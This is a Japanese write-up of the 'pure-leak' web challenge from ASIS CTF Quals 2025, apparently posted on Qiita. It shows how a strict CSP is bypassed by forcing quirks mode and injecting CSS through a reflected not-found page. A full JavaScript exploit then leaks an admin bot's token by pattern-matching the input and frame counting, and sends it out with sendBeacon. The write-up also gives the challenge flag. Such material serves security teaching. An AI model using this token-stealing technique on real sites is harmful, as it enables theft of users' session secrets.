0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[web] pure-leak (ASIS CTF Quals 2025) writeup

0
Posted at

  • Source: ASIS CTF Quals 2025
  • Author: Ark

PHP製のWebページがある。目標はadmin botのtokenを特定すること。

<?php
function validate(mixed $input): string {
  if (!is_string($input)) return "Invalid types";
  if (strlen($input) > 1024) return "Too long";
  if (preg_match('/[^\x20-\x7E\r\n]/', $input)) return "Invalid characters";
  if (preg_match('*http|data|\\\\|\*|\[|\]|&|%|@|//*i', $input)) return "Invalid keywords";
  return $input;
}
?>
<!DOCTYPE html>
<html>
<body>
  <h1>pure-leak 🫨</h1>
  <h3>Source</h3>
  <pre><?php echo htmlspecialchars(file_get_contents(__FILE__)); ?></pre>
  <h3>Content</h3>
  <?php echo validate($_GET["content"] ?? "{{ your_input }}")."\n"; ?>
  <h3>Token</h3>
  <?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef"); ?>
  <h3>Usage</h3>
  <a href="/?content=your_input">/?content=your_input</a>
</body>
</html>

まず自明なHTML injectionがある。試しに?content=<s>hoge</s>へアクセスしてみると、ちゃんと打消し線が引かれていることが分かる。
{F3CDEB55-E40F-4D54-A2A8-30EFE9BD32AF}.png

しかしentrypoint.shを見るとかなり厳しいCSPヘッダが付与されており、XSSやCSS Injectionは難しそうに見える。

#!/bin/sh
set -eu

# load balancing
php -S 127.0.0.1:9000 &
php -S 127.0.0.1:9001 &
php -S 127.0.0.1:9002 &
php -S 127.0.0.1:9003 &

cat > /tmp/Caddyfile << EOF
:3000 {
  header {
    defer
    Content-Security-Policy "script-src 'none'; default-src 'self'; base-uri 'none'"
  }

  reverse_proxy 127.0.0.1:9000 127.0.0.1:9001 127.0.0.1:9002 127.0.0.1:9003 {
    replace_status 200
  }
}
EOF

exec caddy run --config /tmp/Caddyfile

ここでPHPの警告を利用し、強制的にWebページをQuirks Modeにする。詳しくはこのページを参照してもらいたいが、HTMLの頭に<!DOCTYPE html>が付いているとブラウザはtext/htmlとして解釈するが、付いていなければそれ以外のcontent-typeとして解釈する場合がある。
そして、この問題ではクエリパラメータが1000個以上ある時にPHPが最初に(<!DOCTYPE html>よりも前に)警告を返すため、Quirks Modeになるらしい。

const path = "/?" + "&a".repeat(1001);
location = path;

{04BB0FC9-9AB4-41E9-8E2F-EA6583E822D5}.png

これでCSS Injectionができるようになったが、validationが行われるため単純にstyleタグを用いるのは難しい。そこでPHP組み込みの/not-found.txtを用いる。このページにはユーザー入力がそのまま反映される部分があるため、これをCSS Injectionに活用する。

(少々飛躍しているが)これでCSS Injectionが機能した。

const content = `<link href="/not-found.txt?{}body{background:limegreen}" rel=stylesheet>`
const path = `/?content=${encodeURIComponent(content)}` + "a&".repeat(1001);
location = path;

{B363B48F-88DD-483E-956C-E1F342C3BB73}.png

あとはこれでtokenをリークしたいが、2つ問題がある。

  1. validationによって[]が封じられているため、inputの属性セレクタが使えない
  2. CSPがdefault-src 'self'; base-uri 'none'となっているため、image urlを用いたXS-leakができない

1に対しては、has(input:valid)patternを用いることで解決できる。具体的には、

const pattern = "TOKEN_0"
const content = `
  <link href="/not-found.txt?{}div:has(input:valid){background:limegreen}" rel=stylesheet>
  <div>
    <input pattern=".+${pattern}.+" value="
`; 
const path = `/?content=${encodeURIComponent(content)}` + "a&".repeat(1001);
location = path;

{DC883F60-942A-485F-91D3-71342174C9BD}.png

const pattern = "TOKEN_X"
const content = `
  <link href="/not-found.txt?{}div:has(input:valid){background:limegreen}" rel=stylesheet>
  <div>
    <input pattern=".+${pattern}.+" value="
`; 
const path = `/?content=${encodeURIComponent(content)}` + "a&".repeat(1001);
location = path;

{9FF71669-5CD4-47C3-8C5F-968C5468BCD4}.png

のようにTOKENをinputタグの中に埋め込み、patternに一致しているか否かでCSSを分岐させることができる。

2に対しては、embedタグ内にstyleタグが存在するか否かをframe-countingで評価する。styleタグにdisplay:noneを指定するとwindow.lengthの値が増えないため、これをオラクルとして用いることができる。

{CA4DCAAA-B6E0-4BEF-BB27-0452CE8109DA}.png
{E0E97243-4CB9-4BCB-95FA-9E144DE62B66}.png

これらを用いてtokenをリークするスクリプトをホストし、botにアクセスさせる。
……と思ったが、確かにこれでtokenのリークはできていそうだが、botがページを開いている時間(20秒)では足らず、16文字のうち8~12文字しか得られない。困った。

ということで、リークできるギリギリを探ってsleepの時間調整を行う。最終的にこのスクリプトでtokenのリークができた。

<script>
const leak = async () => {
    const BASE_URL = "http://web:3000";

    const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
    const w = open("", "_blank");
    await sleep(100);

    let token = "TOKEN_";
    const charset = "0123456789abcdef";

    const match = async (pattern) => {
        w.location = await "about:blank";
        await sleep(50);

        const content = `
            <link href="/not-found.txt?{}div:has(input:valid){display:none}" rel=stylesheet>
            <div>
                <embed code="x" type=text/html>
                <input pattern=".+${pattern}.+" value="
        `;
        const url = `${BASE_URL}?content=${encodeURIComponent(
            content
        )}${"&a".repeat(1001)}`;

        w.location = url;
        await sleep(80);

        return w.length === 0; // frame counting
    };

    // token length is 16
    for (let i = 0; i < 16; i++) { 
        for (const c of charset) {
            const attempt = token + c;
            if (await match(attempt)) {
                token = attempt;
                navigator.sendBeacon(`/?partial=${token}`);
                break;
            }
        }
    }

    navigator.sendBeacon(`/?token=${token}`);
};
leak();
</script>

tokenの各桁が大きいほどleakに時間がかかるため、このスクリプトの場合は0~3のような小さい数字が多くc~fのような大きい数字が少ないtokenを引けるまでお祈りになる。

{681F8283-2A90-42E1-BB79-4FADF9F43EB7}.png

この得られたtokenをbot側の画面から投げるとflagが得られた。

{54A585BB-8F5B-44D4-9DD4-AE6A21A388E8}.png

ASIS{silksooooooong_9_4_y4y!!}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?